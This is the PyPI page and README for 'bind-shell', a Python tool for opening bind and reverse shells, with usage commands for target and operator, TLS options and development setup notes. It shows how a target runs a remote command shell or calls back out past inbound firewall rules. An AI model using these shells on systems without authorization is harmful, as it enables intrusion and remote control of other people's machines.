bind-shell

A CLI for creating and connecting to bind shells and reverse shells. Zero external dependencies — built entirely on Python stdlib.
Install
Use pipx to install globally in an isolated python environment.
pipx install bind-shell
Usage
usage: bind-shell [-h] {server,client,listen,connect} ...
positional arguments:
{server,client,listen,connect}
server Bind shell: bind a port and execute commands from an incoming client
client Bind shell: connect to a server and send commands interactively
listen Reverse shell: bind a port and send commands to an incoming connector
connect Reverse shell: connect out to a listener and execute its commands
Pass --help to any positional argument for more detail.
Bind shell
The target runs server — it binds a port, logs the connection command, and waits. The operator runs client to connect in and issue commands.
# target
$ bind-shell server --shell bash
Bind-Shell WAN: bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell LAN: bind-shell client 192.168.86.25 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell Local: bind-shell client localhost --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
# operator (use the connection string logged by the server)
$ bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Connected: 12.34.77.19:4444
admin@server:~$
Reverse shell
The operator runs listen — it binds a port, logs the connection command, and waits. The target runs connect to call back out, bypassing inbound firewall rules.
# operator
$ bind-shell listen
Reverse-Shell WAN: bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell LAN: bind-shell connect 192.168.86.26 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell Local: bind-shell connect localhost --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
# target (use the connection string logged by the listener)
$ bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA --shell bash
Connected: 12.34.77.19:4444
user@target:~$
Type exit and/or Ctrl + C to close a session.
TLS encryption
Pass --tls to encrypt traffic. Like HTTPS, this uses one-way TLS: only the listening side (server or listen) presents a certificate; the connecting side (client or connect) accepts it without verification and does not need a certificate of its own.
Generate a self-signed certificate on the listening machine before starting:
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
Bind shell with TLS:
# target
$ bind-shell server --tls --cert cert.pem --key key.pem
# operator (connection string is logged by the server, including --tls)
$ bind-shell client 12.34.77.19 --port 4444 --password <password> --tls
Reverse shell with TLS:
# operator
$ bind-shell listen --tls --cert cert.pem --key key.pem
# target (connection string is logged by the listener, including --tls)
$ bind-shell connect 12.34.77.19 --port 4444 --password <password> --tls
Both sides must use --tls together — a TLS listener and a plain client will hang, since the listener waits for a TLS handshake that never arrives.
Dev Prerequisites
- python >=3.10
- pipx, an optional tool for prerequisite installs
- poetry (install globally with
pipx install poetry) - flake8 (install globally with
pipx install flake8)- flake8-bugbear extension (install with
pipx inject flake8 flake8-bugbear) - flake8-naming extension (install with
pipx inject flake8 pep8-naming)
- flake8-bugbear extension (install with
- black (install globally with
pipx install black) - pre-commit (install globally with
pipx install pre-commit) - just, a Justfile command runner
Updating python version
- Update python version in
Dev Prerequisitesabove - Update [tool.poetry.dependencies] section of
pyproject.toml - Update pyupgrade hook in
.pre-commit-config.yaml - Update python version in
.gitlab-ci.yml
Justfile Targets
install: installs poetry dependencies and pre-commit git hooksupdate_boilerplate: fetches and applies updates from the boilerplate remotetest: runs pytest with test coverage report
Boilerplate
This project tracks the pyplate boilerplate via the boilerplate git remote. Run just update_boilerplate to pull latest changes. NOTE: keep the boilerplate remote history intact to successfully merge future updates.
Metadata
Release files for bind-shell 1.0.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| bind_shell-1.0.1.tar.gz | 7.2 kB | Without provenance | Details for bind_shell-1.0.1.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| bind_shell-1.0.1-py3-none-any.whl | Python 3 | none | any | Details for bind_shell-1.0.1-py3-none-any.whl |
Total release size: 14.4 kB
Release files / bind_shell-1.0.1.tar.gz
| Download URL | bind_shell-1.0.1.tar.gz |
|---|---|
| Size | 7.2 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
23987250c7fc5a1f27f6c8b0148aabcb5605bf540965344c9f6bf59d00860800
|
|
BLAKE2b-256 checksum How to use checksums |
388eb6e8764ef8a2622ea7283b786e289ef084900af9be30fb2c297454bfb0bf
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+
|
Release files / bind_shell-1.0.1-py3-none-any.whl
| Download URL | bind_shell-1.0.1-py3-none-any.whl |
|---|---|
| Size | 7.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
5d09ecb33fe800e6422491fd3ef502891b8ea91d337ef1732e9cdd6f9375a04e
|
|
BLAKE2b-256 checksum How to use checksums |
e2efff429fa63c210ce67ea12e8e47d941bf2528afaf852c8063d1bcb9bf3685
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+
|
Security for bind-shell 1.0.1
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.